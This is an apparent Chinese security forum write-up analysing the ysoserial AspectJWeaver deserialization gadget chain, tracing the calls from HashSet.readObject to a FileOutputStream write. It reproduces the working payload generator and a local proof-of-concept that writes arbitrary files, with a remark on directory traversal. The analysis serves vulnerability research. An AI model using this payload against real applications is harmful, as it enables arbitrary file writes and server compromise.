AspectJWeaver链分析

Gadget chain

首先看yso的gadget chain

Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

能看出来最终达成的效果是任意文件写

Dependencies

@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})

cc3.2.2及以下,aspectjweaver及以下依赖,当然这是一个组合,可以分为两部分自然也可以拆开再找到其他可利用的进行组合

ysoPayload

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(';');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        String[] parts = command.split(";");
        String filename = parts[0];
        byte[] content = Base64.decodeBase64(parts[1]);

        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);
        Transformer ct = new ConstantTransformer(content);
        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

分析数据流

在java.util.HashSet#readObject函数末尾,调用了java.util.HashMap#put

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read capacity and verify non-negative.
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }

        // Read load factor and verify positive and non NaN.
        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        }

        // Read size and verify non-negative.
        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " +
                                             size);
        }
        // Set the capacity according to the size and load factor ensuring that
        // the HashMap is at least 25% full but clamping to maximum capacity.
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);

        // Constructing the backing map will lazily create an array when the first element is
        // added, so check it before construction. Call HashMap.tableSizeFor to compute the
        // actual allocation size. Check Map.Entry[].class since it's the nearest public type to
        // what is actually created.

        SharedSecrets.getJavaOISAccess()
                     .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

为什么map是HashMap对象?可以看payload中HashSet的初始化

HashSet map = new HashSet(1);

对应的HashSet构造函数

public HashSet(int initialCapacity) {
        map = new HashMap<>(initialCapacity);
    }

HashMap.put参数是e和一个空对象

PRESENT空对象:

private static final Object PRESENT = new Object();

而e是调用java.io.ObjectInputStream#readObject从序列化数据中读取的TiedMapEntry对象,也就是payload中创建的

TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

为什么java.io.ObjectInputStream#readObject从序列化数据中读出的是TiedMapEntry对象?

首先

  • HashSet中的所有对象都保存在内部HashMap的key中,以保证唯一性
  • HashMap的每个key->value键值对保存在一个命名为table的Node类数组中,每次调用HashMap#get方法时,实际时从这个数组中获取值

而在 HashSet 的 writeObject() 方法中,会依次调用map也就是HashMap中每个元素的 writeObject() 方法来实现序列化

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
        // Write out any hidden serialization magic
        s.defaultWriteObject();

        // Write out HashMap capacity and load factor
        s.writeInt(map.capacity());
        s.writeFloat(map.loadFactor());

        // Write out size
        s.writeInt(map.size());

        // Write out all elements in the proper order.
        for (E e : map.keySet())
            s.writeObject(e);
    }

相应的,在反序列化过程中,会依次调用每个元素的 readObject() 方法,然后将其作为 key (value 为固定值) 依次放入 HashMap 中

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ...
        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

所以这里的e就是HashMap中的元素,然后再看payload中的反射部分

Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

首先获取了HashSet的map属性值,也就是HashMap对象

然后再进一步获取HashMap对象中的table属性值,然后从table中获取索引0或1的对象,该对象为HashMap$Node

最后从HashMap$Node类中获取key这个field,并修改为tiedMapEntry(原本是通过java.util.HashSet#add添加的"foo"对象)

结合上面的readObject分析,可以知道此时e为构造好的tiedMapEntry对象

再看java.util.HashMap#put

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

调用了java.util.HashMap#hash,此时key为上文的TiedMapEntry对象

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

在继续调用了key对象的hashCode方法,即org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

往下调用了org.apache.commons.collections.keyvalue.TiedMapEntry#getValue

public Object getValue() {
        return map.get(key);
    }

在getValue调用了map属性的get函数参数为key属性,map和key属性在构造函数时就已经初始化完成

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

payload中构造TiedMapEntry的初始化

TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

所以map此时为lazyMap对象,调用的org.apache.commons.collections.map.LazyMap#get,key为filename也就是输入的文件名

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

LazyMap的map属性是什么,可以先回到payload看LazyMap的构造

Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);
        Transformer ct = new ConstantTransformer(content);
        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);

LazyMap的初始化函数

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

调用构造函数

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

这也是为什么payload中为什么content要创建Transformer对象

Transformer ct = new ConstantTransformer(content);

查看父类的构造函数

public AbstractMapDecorator(Map map) {
        if (map == null) {
            throw new IllegalArgumentException("Map must not be null");
        }
        this.map = map;
    }

不为空就赋值map,而factory是由org.apache.commons.collections.functors.FactoryTransformer#getInstance获取到的,存储的是文件内容

所以此时的map为payload中的SimpleCache$StorableCachingMap且此时key不包含filename就会调用org.apache.commons.collections.functors.ConstantTransformer#transform获取了文件内容的字节流,在步入到

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put中,这里是这条链的关键

public Object put(Object key, Object value) {
            try {
                String path = null;
                byte[] valueBytes = (byte[])((byte[])value);
                if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
                    path = "IDEM";
                } else {
                    path = this.writeToPath((String)key, valueBytes);
                }

                Object result = super.put(key, path);
                this.storeMap();
                return result;
            } catch (IOException var6) {
                this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), var6);
                Dump.dumpWithException(var6);
                return null;
            }
        }

此时key为文件名,value为文件内容的字节流

首先判断了字节数组是否和SimpleCache.SAME_BYTES相等,这是一个常量

private static final byte[] SAME_BYTES = "IDEM".getBytes();

然后进入到org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath

private String writeToPath(String key, byte[] bytes) throws IOException {
            String fullPath = this.folder + File.separator + key;
            FileOutputStream fos = new FileOutputStream(fullPath);
            fos.write(bytes);
            fos.flush();
            fos.close();
            return fullPath;
        }

此时key为文件名,bytes为文件内容字节数组,folder是初始化时赋予的

private StoreableCachingMap(String folder, int storingTimer) {
            this.folder = folder;
            this.initTrace();
            this.storingTimer = storingTimer;
        }

再看payload

Object simpleCache = ctor.newInstance(".", 12);

yso默认创建在当前文件夹(当然也可以自己进行目录穿越),然后直接将字节流写入文件中,达到了任意文件写的效果

非预期避免

从上面的分析可以知道payload大量的反射是为了将TiedMapEntry这个对象添加到HashSet的HashMap的元素中,那么为什么不直接通过HashSet.add()将TiedMapEntry添加到其中呢?

为了分析这个问题,首先在本地构造payload

public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);
        declaredConstructor.setAccessible(true);
        Object map = declaredConstructor.newInstance(".", 111);
        Transformer ct = new ConstantTransformer("test".getBytes(StandardCharsets.UTF_8));
        Map lazyMap = LazyMap.decorate((Map) map,ct);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"1.txt");
        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output"));
        oos.writeObject(hashSet);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output"));
        ois.readObject();
    }

本地使用这段payload进行debug时能够发现,writeToPath被触发了两次

第一次的调用栈

writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
add:220, HashSet (java.util)
main:25, AspectJWeaver

也就是在构造payload的时候就在本地触发了文件写的操作,HashSet.add直接调用了HashMap的put方法

public boolean add(E e) {
    return map.put(e, PRESENT)==null;
}

调用了HashMap的put方法此时的e是我们add的tiedMapEntry对象,和上文分析中readObject中获取的tiedMapEntry对象一样是构造好的,所以调用了java.util.HashMap#put后就完全一样走到文件写入的sink了

所以通过反射去将HashSet中HashMap的元素更改为tiedMapEntry对象可以避免非预期的文件写入

参考

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖